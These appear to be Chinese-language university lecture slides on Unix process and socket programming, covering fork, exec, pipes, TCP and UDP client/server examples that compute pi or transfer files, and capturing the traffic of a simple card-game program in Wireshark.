```

計算PI

```
#include <stdio.h>                  // Client – pic.c
#include <stdlib.h>                 // gcc pic.c -o pic -lunp
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main(int argc , char *argv[]) {
    char message[256], receiveMessage[256];    //Send/receive a message to server;
    int sockfd = 0;                                          //socket的建立
    sockfd = socket(AF_INET , SOCK_STREAM , 0);
    if (sockfd == -1){        printf("Fail to create a socket.");    }
    struct sockaddr_in info;                                 //socket的連線
    bzero(&info,sizeof(info));
```

計算PI

```
    info.sin_family = PF_INET;
    info.sin_addr.s_addr = inet_addr("127.0.0.1");   //localhost test
    info.sin_port = htons(8700);
    int err = connect(sockfd,(struct sockaddr *)&info,sizeof(info));
    if(err==-1){       printf("Connection error");    }
    scanf("%s", message);
    send(sockfd, message, sizeof(message),0);
    recv(sockfd, receiveMessage, sizeof(receiveMessage),0);
    printf("Server: %s\n", receiveMessage);
    printf("close Socket\n");
    close(sockfd);
    return 0;
}
```

system

```
#include <stdlib.h>
int system(const char *command);
```

- system()函式，執行外部命令
  - 步驟
    - fork一個子程序；
    - 在子程序呼叫system函數執行command
    - 在父程序呼叫wait等待子程序結束
  - 有安全風險
  - fork()和 exec配合使用，比system()效率好
  - 不需管線(pipe)處理的命令或指令可利用fork() 和 exec執行

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(void){
    printf("entering main process---\n");
    system("ls -al >aaa.txt");
    printf("exiting main process ----\n");
    return 0;
}
```

exec

- 替換程序(process) image
  - Unix將process創建與process載入的image分離，安全方便管理。
  - 例如：在shell命令行執行ps命令，是shell程序呼叫fork複製一個新的子程序，利用exec呼叫將新產生的子程序替換成ps程序。

```
#include <unistd.h>
extern char **environ;
int execve(const char *filename, char *const argv[],char *const envp[]); //最底層呼叫
```

  - 成功回傳0,失敗-1
  - environ 環境變數，包含路徑

```
kjy@ubuntu:~/Test$ env
CLUTTER_IM_MODULE=xim
LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd
=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;4
4:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;
31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7
z=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=0
1;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tb
z=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:
```

exec

- environ 環境變數，包含路徑

```
// exec.c
#include <unistd.h>
#include <stdio.h>
extern char** environ;
int main(void) {
    printf("hello pid=%d\n", getpid());
    int i;
    for (i=3; environ[i]!=NULL; ++i)     {
        printf("%s\n", environ[i]);
    }
    return 0;
}
```

```
kjy@ubuntu:~/T$ gcc exec.c
kjy@ubuntu:~/T$ ./a.out
hello pid=20658
XDG_MENU_PREFIX=gnome-
LANG=en_US.UTF-8
DISPLAY=:0
GNOME_SHELL_SESSION_MODE=ubuntu
COLORTERM=truecolor
USERNAME=kjy
XDG_VTNR=2
SSH_AUTH_SOCK=/run/user/1000/keyring/ssh
XDG_SESSION_ID=2
USER=kjy
```

exec

- 替換程序(process) image

```
int execl(const char *path, const char *arg, ...); //要提供完整路徑
int execlp(const char *file, const char *arg, ...); //可透過環境變數尋找程序
```

  - path：要啟動程序的名稱包括完整路徑名，file 程序名稱
  - arg ：啟動程序的參數，第一個參數是程序命令名稱
  - l ，表示參數以可變形式提供且都以一個NULL結束

```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(void){
    printf("entering main process---\n");
    execl("/bin/ls","ls","-l",NULL);
    printf("exiting main process ----\n");
    return 0;
}
```

```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(void){
    printf("entering main process---\n");
    execlp("ls","ls","-l",NULL);
    printf("exiting main process ----\n");
    return 0;
}
```

```
kjy@ubuntu:~/T$ gcc exec.c
kjy@ubuntu:~/T$ ./a.out
entering main process---
total 16
-rwxr-xr-x 1 kjy kjy 8344 Dec 24 18:59 a.out
-rw-r--r-- 1 kjy kjy  214 Dec 24 18:59 exec.c
```

exec

- 替換程序(process) image

```
int execv(const char *path, char *const argv[]);
int execvp(const char *file, char *const argv[]);
```

  - 不帶 l ：以argv[]形式提供，且argv最後一個元素必須是NULL

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(void) {
    printf("entering main process---\n");
    int ret;
    char *argv[] = {"ls","-l", NULL};
    ret = execvp("ls",argv);
    if(ret == -1)
        perror("execl error");
    printf("exiting main process ----\n");
    return 0;
}
```

exec

- 取代system
  - 製作一個檔案 a.sh
  - 使用bash 執行此檔案

```
ls -al >aa.txt
```

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(void){
    printf("entering main process---\n");
    execl("/bin/bash","bash","a.sh",NULL);
    printf("exiting main process ----\n");
    return 0;
}
```

Process Fork

- 程序(Process) – fork()

```
#include <sys/types.h>          // f1.c
#include <sys/wait.h>
#include <stdio.h>
#include <unistd.h>
int main() {
    pid_t pid;
    pid = fork();       //fork a child process
    if (pid < 0) {      // error occurred
        fprintf(stderr, "Fork Failed");
        return 1;
    }
    else if (pid == 0) { // child process
        execlp("/bin/ls","ls",NULL);
    }
    else {                  // parent process
        pid=wait(NULL);  //parent wait child complete
        printf("Child (%d) Complete\n", pid);
    }
    return 0;
}
```

Process Fork

- 程序(Process) – pid_t pid = fork()
  - 回傳-1，產生child process失敗
  - pid=0，表示child process
  - pid>0，表示parent process
- pid_t wait(int * status);
  - process呼叫wait，會立即暫停本身，wait找child process是否執行完畢，收集相關資訊，並把它刪除返回；
  - 若無child process，wait會暫停，直到child process執行完。
  - status存process執行狀態。若不蒐集此狀態設NULL：
    - pid = wait(NULL);
  - 成功，wait回傳child process ID，
  - 若無child process回傳-1，同時errno被設為ECHILD。
  - WEXITSTATUS(status) 回傳child process結束狀態碼。

Process Fork

- 執行
  - gcc f1.c -o f1
  - ./f1

```
kjy@ubuntu:~/Test$ gcc f1.c -o f1
kjy@ubuntu:~/Test$ ./f1
config.h          daytimetcpsrv.c  fileClient    pis              simplec.c
daytime           f1               fileClient.c  pis.c            simples
daytime.c         f1.c             fileServer    piss.c           simples.c
daytimetcpcli     f3               fileServer.c  sample_file.txt  unp.h
daytimetcpcli.c   f3.c             pic           server.txt       unpv13e
daytimetcpsrv     f4.c             pic.c         simplec          unpv13e.tar.gz
Child (8841) Complete
```

Process Fork

- 程序(Process) – 執行以下程式，查看 ps -aux

```
#include <stdio.h>        // f2.c
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
int main() {
    pid_t pid;
    int status, i;
    if(fork() == 0)    {
        printf("child process pid =%d\n", getpid());
        exit(5);
     }
    else  {
        sleep(1);
        printf("Parent process, wait for child...\n");
        pid = wait(&status);
        i = WEXITSTATUS(status);
        printf("child's pid =%d . exit status=%d\n", pid, i);
    }
    return 0;
}
```

```
gcc f2.c -o f2
./f2
```

Process Fork

- 程序(Process) – 各process有自己的變數副本

```
#include <sys/types.h>          // f3.c
#include <sys/wait.h>
#include <stdio.h>
#include <unistd.h>
int r=0;
int main() {
    pid_t pid;
    int r1=0, r2=0;
    pid = fork();       //fork a child process
    if (pid < 0) {      // error occurred
        fprintf(stderr, "Fork Failed");
        return 1;
    }
    else if (pid == 0) { // child process
        r1=12;
        r = r + 1;
        //execlp("/bin/ls","ls",NULL);
        printf("r1=%d, r2=%d, r=%d\n", r1, r2, r);
    }
    else {              // parent process
        r2=10;
        r = r + 1;
        wait(NULL);     // parent wait child complete
        printf("Child Complete\n");
        printf("r1=%d, r2=%d, r=%d\n", r1, r2, r);
    }
    return 0;
}
```

```
kjy@ubuntu:~/Test$ gcc f3.c -o f3
kjy@ubuntu:~/Test$ ./f3
r1=12, r2=0, r=1
Child Complete
r1=0, r2=10, r=1
```

Process Fork 共用變數 pipe

- pipe解決共用變數
  - 創立 pipe 的 file descriptor
    - int fd[2]，fd[0]讀資料，fd[1]寫資料
    - pipe(fd) 呼叫pipe作使用
  - 傳送端code
    - close(fd[0]) // 傳送端沒有要接收資料, 故關閉讀取
    - write(fd[1], %value, sizeof(value)) // 參數fd寫入端, 傳送資料的buffer, 傳送資料大小
    - close(fd[1]) // 寫完後關閉
  - 接收端
    - close(fd[1]) // 接收端沒有接收資料，關閉接收
    - read(fd[0], %value, sizeof(value)) // 參數為fd傳送端，接收資料的buffer，接收資料大小
    - close(fd[0]) // 接收結束後關閉

Process Fork 共用變數 pipe

- pipe解決共用變數

```
#include <sys/types.h>          // f4.c
#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
    int value=0;
    pid_t pid;
    int fd[2];
    pipe(fd);
    pid = fork();       //fork a child process
    if (pid < 0) {      // error occurred
        fprintf(stderr, "Fork Failed");
        return 1;
    }
    else if (pid == 0) { // child process
        close(fd[0]);
        value = 15;
        printf("child value=%d\n", value);
        write(fd[1], &value, sizeof(value));
        close(fd[1]);
    }
    else {              // parent process
        wait(NULL);     // parent wait child complete
        read(fd[0], &value, sizeof(value));
        printf("Child Complete\n");
        printf("parent value=%d\n", value);
        close(fd[0]);
    }
    return 0;
}
```

```
kjy@ubuntu:~/Test$ gcc f3.c -o f3
kjy@ubuntu:~/Test$ ./f3
child value=15
Child Complete
parent value=15
```

多重Client/Server

- Server 1 計算 PI, port 8700

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
//Server – pis.c, gcc pis.c -o simples -lunp
#include <math.h>
double getPi(int x, int y) {
    double pi=0, sign =-1;
    if (x%2==0) sign =1;
    else sign =-1;
    for (int i=x; i<y; i++) {
        pi = pi+sign*(1/(2.0*i+1));
        sign = sign * (-1);
    }
    return 4*pi;
}
```

```
int main(int argc , char *argv[]){
    double r =0;
    int y=0;
    char message[256],inputBuffer[256];
    int sockfd = 0, clientSockfd = 0;                    //socket的建立
    sockfd = socket(AF_INET , SOCK_STREAM , 0);
    if (sockfd == -1){        printf("Fail to create a socket.");     }
    struct sockaddr_in serverInfo,clientInfo;            //socket的連線
    int addrlen = sizeof(clientInfo);
    bzero(&serverInfo,sizeof(serverInfo));
    serverInfo.sin_family = AF_INET;
    serverInfo.sin_addr.s_addr = INADDR_ANY;
    serverInfo.sin_port = htons(8700);
    bind(sockfd,(struct sockaddr *)&serverInfo,sizeof(serverInfo));
    listen(sockfd, 8);
    while(1){
        clientSockfd = accept(sockfd,(struct sockaddr*) &clientInfo, &addrlen);
        recv(clientSockfd, inputBuffer, sizeof(inputBuffer),0);
        y = atoi(inputBuffer);
        r = getPi(0, y);
        snprintf(message,sizeof(message),"%.12f",r);
        printf("Get:=>%s,%.12f\n",inputBuffer,r);
        send(clientSockfd, message, sizeof(message),0);
    }
    return 0;
}
```

多重Client/Server

- Server 2 計算 PI, port 8900

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
//Server – pis.c, gcc pis.c -o simples -lunp
#include <math.h>
double getPi(int x, int y) {
    double pi=0, sign =-1;
    if (x%2==0) sign =1;
    else sign =-1;
    for (int i=x; i<y; i++) {
        pi = pi+sign*(1/(2.0*i+1));
        sign = sign * (-1);
    }
    return 4*pi;
}
```

```
int main(int argc , char *argv[]){
    double r =0;
    int y=0;
    char message[256],inputBuffer[256];
    int sockfd = 0, clientSockfd = 0;                    //socket的建立
    sockfd = socket(AF_INET , SOCK_STREAM , 0);
    if (sockfd == -1){        printf("Fail to create a socket.");     }
    struct sockaddr_in serverInfo,clientInfo;            //socket的連線
    int addrlen = sizeof(clientInfo);
    bzero(&serverInfo,sizeof(serverInfo));
    serverInfo.sin_family = AF_INET;
    serverInfo.sin_addr.s_addr = INADDR_ANY;
    serverInfo.sin_port = htons(8900);
    bind(sockfd,(struct sockaddr *)&serverInfo,sizeof(serverInfo));
    listen(sockfd, 8);
    while(1){
        clientSockfd = accept(sockfd,(struct sockaddr*) &clientInfo, &addrlen);
        recv(clientSockfd, inputBuffer, sizeof(inputBuffer),0);
        y = atoi(inputBuffer);
        r = getPi(0, y);
        snprintf(message,sizeof(message),"%.12f",r);
        printf("Get:=>%s,%.12f\n",inputBuffer,r);
        send(clientSockfd, message, sizeof(message),0);
    }
    return 0;
}
```

多重Client/Server

```
#include <sys/types.h>          // client - pic.c
#include <sys/wait.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>             // gcc pic.c -o pic -lunp
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main(int argc , char *argv[]) {
    char message[256]="50", receiveMessage[256];    //Send/receive a message to server;
    int sockfd = 0;
    struct sockaddr_in info;                        //socket的連線
    double value=0, result=0;
    pid_t pid;
    int fd[2];
    pipe(fd);
    scanf("%s",message);
    pid = fork();       //fork a child process
    if (pid < 0) {      // error occurred
        fprintf(stderr, "Fork Failed");
        return 1;
    }                           //socket的建立
    sockfd = socket(AF_INET , SOCK_STREAM , 0);
    if (sockfd == -1){        printf("Fail to create a socket.");    }
    bzero(&info,sizeof(info));
```

多重Client/Server

```
info.sin_family = PF_INET;
info.sin_addr.s_addr = inet_addr("127.0.0.1");   //localhost test
if (pid == 0) { // child process
    close(fd[0]);
    strcpy(message,"400");
    info.sin_port = htons(8700);
    int err = connect(sockfd,(struct sockaddr *)&info,sizeof(info));
    if(err==-1){       printf("Connection error");    }
    send(sockfd, message, sizeof(message),0);
    recv(sockfd, receiveMessage, sizeof(receiveMessage),0);
    printf("child Server: %s\n", receiveMessage);

    value = atof(receiveMessage);
    printf("child Server: %.12f\n", value);
    write(fd[1], &value, sizeof(value));
    close(fd[1]);

    printf("close Socket\n");
    close(sockfd);
}
```

多重Client/Server

```
    else {
        info.sin_port = htons(8900);
        int err = connect(sockfd,(struct sockaddr *)&info,sizeof(info));
        if(err==-1){       printf("Connection error");    }
        strcpy(message,"900");
        send(sockfd, message, sizeof(message),0);
        recv(sockfd, receiveMessage, sizeof(receiveMessage),0);
        pid=wait(NULL);  //parent wait child complete
        printf("parent Server: %s\n", receiveMessage);
        printf("close Socket\n");
        close(sockfd);
        result = atof(receiveMessage);
        wait(NULL);      // parent wait child complete
        read(fd[0], &value, sizeof(value));
        printf("parent Server: %.12f\n", result);
        printf("parent Server from child: %.12f\n", value);
        printf("parent Server total: %.12f\n", value+result);
        close(fd[0]);
    }
    return 0;
}
```

```
kjy@ubuntu:~/Test$ ./pic
50
child Server: 3.139092657496
child Server: 3.139092657496
close Socket
parent Server: 3.140481542822
close Socket
parent Server: 3.140481542822
parent Server from child: 3.139092657496
parent Server total: 6.279574200318
kjy@ubuntu:~/Test$
```

Exercise：多重Client/Server

- 劃出上面程式流程架構圖

Exercise

- 開啟三台VM
  - 一台client，要求計算 PI到第N項
  - 二台Server計算PI，各分 N/2給兩台Server計算

UDP

- #include <sys/types.h>，#include <sys/socket.h>
  - int sendto (int s, const void *buf, int len, unsigned int flags, const struct sockaddr *to, int tolen);
    - 把UDP資料封包傳給指定地址；
    - s：socket描述符。
    - buf：UDP資料包緩衝地址。
    - len：UDP資料包長度。
    - flags：參數一般為0。
    - to：struct sockaddr_in類型，指定UDP資料傳往哪裡。
    - tolen：對方地址長度，一般為：sizeof(struct sockaddr_in)。
    - fromlen：struct sockaddr_in類型，指定從哪裡接收UDP資料。
  - int recvfrom(int s, void *buf, int len, unsigned int flags, struct sockaddr *from, int *fromlen);
    - 從指定位址接收UDP資料封包。

UDP

- int recvfrom(int s, void *buf, int len, unsigned int flags, struct sockaddr *from, int *fromlen);
  - 從指定位址接收UDP資料封包。
  - sendto()函數，成功則回傳實際傳送出去的字元數，失敗回傳-1，錯誤原因存於errno 中。
  - recvfrom()函數，成功則回傳接收到的字元數，失敗則回傳-1，錯誤原因存於errno中。

UDP

```
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#define UDP_TEST_PORT       50001
int main(int argC, char* arg[]) {
    struct sockaddr_in addr;
    int sockfd, len = 0;
    int addr_len = sizeof(struct sockaddr_in);
    char buffer[256];
```

```
/* 建立socket，注意必須是SOCK_DGRAM */
   if ((sockfd=socket(AF_INET, SOCK_DGRAM, 0)) < 0) {
       perror ("socket");
       exit(1);
   }
  bzero(&addr, sizeof(addr));
   addr.sin_family = AF_INET;
   addr.sin_port = htons(UDP_TEST_PORT);
   addr.sin_addr.s_addr = htonl(INADDR_ANY) ;// 接收任意IP
  /* 綁定socket */
   if (bind(sockfd, (struct sockaddr *)&addr, sizeof(addr))<0) {
       perror("connect");
       exit(1);
   }
   while(1) {
       bzero(buffer, sizeof(buffer));
       len = recvfrom(sockfd, buffer, sizeof(buffer), 0,
                   (struct sockaddr *)&addr ,&addr_len);
       /* 顯示client端的網路位址和收到的字串消息 */
       printf("Received a string from client %s, string is: %s\n",
              inet_ntoa(addr.sin_addr), buffer);
       /* 將收到的字串消息回給client端 */
       sendto(sockfd,buffer, len, 0, (struct sockaddr *)&addr, addr_len);
   }
   return 0;
}
```

UDP

```
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#define UDP_TEST_PORT       50001
#define UDP_SERVER_IP       "127.0.0.1"
int main(int argC, char* arg[]){
    struct sockaddr_in addr;
    int sockfd, len = 0;
    int addr_len = sizeof(struct sockaddr_in);
    char buffer[256];
```

```
/* 建立socket，注意必須是SOCK_DGRAM */
    if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) < 0) {
        perror("socket");
        exit(1);
    }
    bzero(&addr, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons(UDP_TEST_PORT);
    addr.sin_addr.s_addr = inet_addr(UDP_SERVER_IP);
    while(1) {
        bzero(buffer, sizeof(buffer));
        printf("Please enter a string to send to server: \n");
        /* 從標準輸入裝置取得字串*/
        len = read(STDIN_FILENO, buffer, sizeof(buffer));
        /* 將字串傳送給server端*/
        sendto(sockfd, buffer, len, 0, (struct sockaddr *)&addr, addr_len);
        /* 接收server端返回的字串*/
        len = recvfrom(sockfd, buffer, sizeof(buffer), 0,
                    (struct sockaddr *)&addr, &addr_len);
        printf("Receive from server: %s\n", buffer);
    }
    return 0;
}
```

UDP傳輸檔案

```
#include<stdio.h>  //udpc.c
#include<string.h>
#include<stdlib.h>
#include<unistd.h>
#include<arpa/inet.h>
#include<sys/socket.h>
#include<sys/types.h>
#include<netinet/in.h>
#define SERVER "127.0.0.1"
#define BUFLEN 255
#define PORT 8885
void die(char *s) {
    perror(s);
    exit(1);
}
unsigned long fsize(char* file) {
    FILE * f = fopen(file, "r");
    fseek(f, 0, SEEK_END);
    unsigned long len = (unsigned long)ftell(f);
    fclose(f);
    return len;
}
int main(void) {
    struct sockaddr_in si_other;
    char message[BUFLEN], fname[20], str[10];
    FILE *f;
    int s, i;
    unsigned long size;
    s=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
```

UDP傳輸檔案

```
if (s == -1) {  die("socket");     }
    memset((char *) &si_other, 0, sizeof(si_other));
    si_other.sin_family = AF_INET;
    si_other.sin_port = htons(PORT);
    if (inet_aton(SERVER , &si_other.sin_addr) == 0) { // converts the specified string,
        fprintf(stderr, "inet_aton() failed\n");
        exit(1);
    }
    strcpy(fname,"server.txt");
    printf("%s\n",fname);
    sendto(s, fname, sizeof(fname), 0, (struct sockaddr *) &si_other, sizeof(si_other));
    memset(message,0,BUFLEN);
    size = fsize(fname);
    printf("%ld",(size % BUFLEN));
    sprintf(str, "%ld", size);
    sendto(s, str, sizeof(str), 0 , (struct sockaddr *) &si_other, sizeof(si_other));
    f=fopen(fname,"rb");
    memset(message,0, sizeof(message));
    fread(message, sizeof(message),1,f);
    printf("%s\n",message);
    if (sendto(s, message, 503 , 0 , (struct sockaddr *) &si_other, sizeof(si_other))==-1) {
        die("sendto()");
    }
    fclose(f);
    close(s);
    return 0;
}
```

UDP傳輸檔案

```
#include<stdio.h>   //udps.c
#include<string.h>
#include<stdlib.h>
#include <unistd.h>
#include<arpa/inet.h>
#include<sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#define BUFLEN 255
#define PORT 8885
void die(char *s) {
    perror(s);
    exit(1);
}
int main(void) {
    struct sockaddr_in si_me, si_other;
    int s, slen = sizeof(si_other) , recv_len=0;
    unsigned long flen=0;
    char buf[BUFLEN], fname[20];
    FILE *fp;
    if ((s=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) {
        die("socket");
    }
```

UDP傳輸檔案

```
    memset((char *) &si_me, 0, sizeof(si_me));
    si_me.sin_family = AF_INET;
    si_me.sin_port = htons(PORT);
    si_me.sin_addr.s_addr = htonl(INADDR_ANY);
    if(bind(s , (struct sockaddr*)&si_me, sizeof(si_me) ) == -1)  {
        die("bind");
    }
    recv_len = recvfrom(s, buf, sizeof(buf), 0, (struct sockaddr *) &si_other, &slen);
    printf("%s\n",buf);
    strcpy(fname,"a.txt");
    fp=fopen(fname,"wb");
    memset(buf,0,BUFLEN);
    recv_len = recvfrom(s, buf, sizeof(buf), 0, (struct sockaddr *) &si_other, &slen);
    flen = atoi(buf);
    printf("%ld\n",flen);
    memset(buf,0,BUFLEN);
    if ((recv_len = recvfrom(s, buf, sizeof(buf), 0, (struct sockaddr *) &si_other, &slen)) == -1) {
        die("recvfrom()");
    }
    printf("%s==%ld\n",buf, flen);
    fwrite(buf,flen, 1, fp);
    fclose(fp);      close(s);      return 0;
}
```

Exercise

- 傳輸超過 255byte 的檔案
  - 每次要傳255 byte
  - 傳 fileLength/255 +1 次

網路資料偵測
Wireshark

郭忠義

jykuo@ntut.edu.tw

臺北科技大學資訊工程系

安裝

- 安裝Wireshare
  - sudo apt-get install wireshark
  - configuring wireshark-common
    - Yes
- 將使用者加入wireshark group
  - sudo gedit /etc/group

```
gdm:x:125:
ntut:x:1000:
sambashare:x:126:ntut
xrdp:x:127:
mysql:x:128:
wireshark:x:129:ntut
```

- 登出並重新登入(讓權限更動生效)
- 執行Wireshark

執行Wireshark

- Menu
  - Capture-Options

  - Output: 選擇要將抓的資料封包儲存到檔案
  - 設定好，開始執行，點選start開始抓封包

執行Wireshark

- 檢視封包

查看TCP 封包

- 在WireShark 上方的搜尋框輸入：tcp.port == 8700

查看TCP 封包

- 如果要更變Capture Options

執行Wireshark

- 按下Continue without Saving

- 按下藍色Start按鈕，開始捕捉封包

查看TCP 封包

- 範例程式(10點半)

client.c

```
#include <stdio.h>              // Client – simplec.c
#include <stdlib.h>             // gcc simplec.c -o simplec -lunp
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(int argc , char *argv[]) {
   char message[256] = {"Hi Server, this is client.\n"}, receiveMessage[256] = {};    //Send/receive a message to server;
   int sockfd = 0;                                          //socket的建立
   sockfd = socket(AF_INET , SOCK_STREAM , 0);
   if (sockfd == -1){        printf("Fail to create a socket.");    }
   struct sockaddr_in info;                                 //socket的連線
   bzero(&info,sizeof(info));
   info.sin_family = PF_INET;
   info.sin_addr.s_addr = inet_addr("127.0.0.1");   //localhost test
   info.sin_port = htons(8700);
   int err = connect(sockfd,(struct sockaddr *)&info,sizeof(info));
   if(err==-1){       printf("Connection error");    }

   send(sockfd, message, sizeof(message),0);
   while(1){

      recv(sockfd, receiveMessage, sizeof(receiveMessage),0);
      printf("Server said: %s\n", receiveMessage);

      if(strcmp("end",receiveMessage)==0 ||strcmp("you win, 10.5 get",receiveMessage)==0 || strcmp("you lose , greater than 10.5",receiveMessage)==0 ){
         break;
      }

      printf("Input 'more' to get more card, input 'end' to stop the program. \n");
      printf("Please input message send to sever:\n");
      scanf("%s",&message);
      send(sockfd, message, sizeof(message),0);
      if(strcmp("end",message)==0){
         strcpy(receiveMessage,"end");
         break;
      }
   }

   printf("%s, close Socket\n", receiveMessage);
   close(sockfd);
   return 0;
}
```

server.c

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>                    //Server – simples.c, gcc simples.c -o simples -lunp

double getCard();

int main(int argc , char *argv[]){
    char receiveMessage[256] = {};
    char message[256] = {"Hi, this is server.\n"};
    int sockfd = 0, clientSockfd = 0;
    double player_score = 0;
    sockfd = socket(AF_INET , SOCK_STREAM , 0); //socket的建立
    if (sockfd == -1){        printf("Fail to create a socket.");     }
    struct sockaddr_in serverInfo,clientInfo;                    //socket的連線
    int addrlen = sizeof(clientInfo);

    bzero(&serverInfo,sizeof(serverInfo));
    serverInfo.sin_family = AF_INET;
    serverInfo.sin_addr.s_addr = INADDR_ANY;
    serverInfo.sin_port = htons(8700);
    bind(sockfd,(struct sockaddr *)&serverInfo,sizeof(serverInfo));
    listen(sockfd, 8);
    clientSockfd = accept(sockfd,(struct sockaddr*) &clientInfo, &addrlen);

    send(clientSockfd, message, sizeof(message),0);
    while(1){

        recv(clientSockfd, receiveMessage, sizeof(receiveMessage),0);
        printf("Client said: %s\n",receiveMessage);

        if(strcmp("more",receiveMessage)==0){
            player_score = player_score + getCard();
            if(player_score<10.5){
                // printf("%f, player_score\n", player_score);
                sprintf(message,"%lf",player_score);
            }else if (player_score==10.5){
                strcpy(message,"you win, 10.5 get");
            }else{
                strcpy(message,"you lose , greater than 10.5");
            }
            send(clientSockfd, message, sizeof(message),0);

        }
        else if(strcmp("end",receiveMessage)==0){
            break;
        }
    }

    printf("%s, close Socket\n", receiveMessage);
    close(sockfd);
    return 0;
}

double getCard() {
    srand( time(NULL));
    /* 指定亂數範圍 */
    int min = 1;
    int max = 13;
    /* 產生 [min , max] 的整數亂數 */
    int card = rand() % (max - min + 1) + min;
    double point = (double)card;
    if (point >10.0) point = 0.5;
    return point;
}
```

查看TCP 封包

- 執行範例程式(10點半)

- 開啟一個終端機
- gedit server.c 並貼上程式碼
- gcc server.c -o server -lunp
- 執行./server

- 開啟另一個終端機
- gedit client.c 並貼上程式碼
- gcc client.c -o client -lunp
- 執行./client

```
ntut1@ubuntu:~/10half$ gcc server.c -o server -lunp
server.c: In function ‘getCard’:
server.c:59:12: warning: implicit declaration of function ‘time’; did you mean ‘
nice’? [-Wimplicit-function-declaration]
     srand( time(NULL));
            ^~~~
            nice
ntut1@ubuntu:~/10half$ ./server
Client said: Hi Server, this is client.
```

Server 端

```
ntut1@ubuntu:~/10half$ gcc client.c -o client -lunp
client.c: In function ‘main’:
client.c:16:28: warning: implicit declaration of function ‘inet_addr’; did you m
ean ‘s6_addr’? [-Wimplicit-function-declaration]
     info.sin_addr.s_addr = inet_addr("127.0.0.1");   //localhost test
                            ^~~~~~~~~
                            s6_addr
client.c:33:17: warning: format ‘%s’ expects argument of type ‘char *’, but argu
ment 2 has type ‘char (*)[256]’ [-Wformat=]
         scanf("%s",&message);
               ~^  ~~~~~~~~
ntut1@ubuntu:~/10half$ ./client
Server said: Hi, this is server.

Input 'more' to get more card, input 'end' to stop the program.
Please input message send to sever:
```

Client 端

```
ntut1@ubuntu:~/10half$ ls -alh
total 48K
drwxrwxr-x  2 ntut1 ntut1 4.0K Dec 19 20:27 .
drwxr-xr-x 28 ntut1 ntut1 4.0K Dec 19 20:27 ..
-rwxrwxr-x  1 ntut1 ntut1  13K Dec 19 20:26 client
-rw-rw-r--  1 ntut1 ntut1 1.8K Dec 19 07:00 client.c
-rwxrwxr-x  1 ntut1 ntut1  13K Dec 19 20:26 server
-rw-rw-r--  1 ntut1 ntut1 2.3K Dec 19 06:59 server.c
```

查看TCP 封包

- 查看WireShark蒐集的封包內容

三方交握示意圖

查看TCP 封包

- 查看WireShark蒐集的封包內容

查看TCP 封包

- 在Client端輸入”more”，跟Sever端要一張牌

```
ntut1@ubuntu: ~/10half
File  Edit  View  Search  Terminal  Help

ntut1@ubuntu:~/10half$ ls -alh
total 48K
drwxrwxr-x  2 ntut1 ntut1 4.0K Dec 19 20:27 .
drwxr-xr-x 28 ntut1 ntut1 4.0K Dec 19 20:27 ..
-rwxrwxr-x  1 ntut1 ntut1  13K Dec 19 20:26 client
-rw-rw-r--  1 ntut1 ntut1 1.8K Dec 19 07:00 client.c
-rwxrwxr-x  1 ntut1 ntut1  13K Dec 19 20:26 server
-rw-rw-r--  1 ntut1 ntut1 2.3K Dec 19 06:59 server.c
ntut1@ubuntu:~/10half$ ./server
Client said: Hi Server, this is client.

^C
ntut1@ubuntu:~/10half$ ./server
Client said: Hi Server, this is client

Client said: more
```

Server 端收到訊息

```
ntut1@ubuntu: ~/10half
File  Edit  View  Search  Terminal  Help
        scanf("%s",&message);
            ~^  ~~~~~~~~
ntut1@ubuntu:~/10half$ ./client
Server said: Hi, this is server.

Input 'more' to get more card, input 'end' to stop the program.
Please input message send to sever:
^C
ntut1@ubuntu:~/10half$ ./client
Server said: Hi, this is server.

Input 'more' to get more card, input 'end' to stop the program.
Please input message send to sever:
^C
ntut1@ubuntu:~/10half
Server said: Hi, this is server.

Input 'more' to get more card, input 'end' to stop the program.
Please input message send to sever:
more
Server said: 0.500000
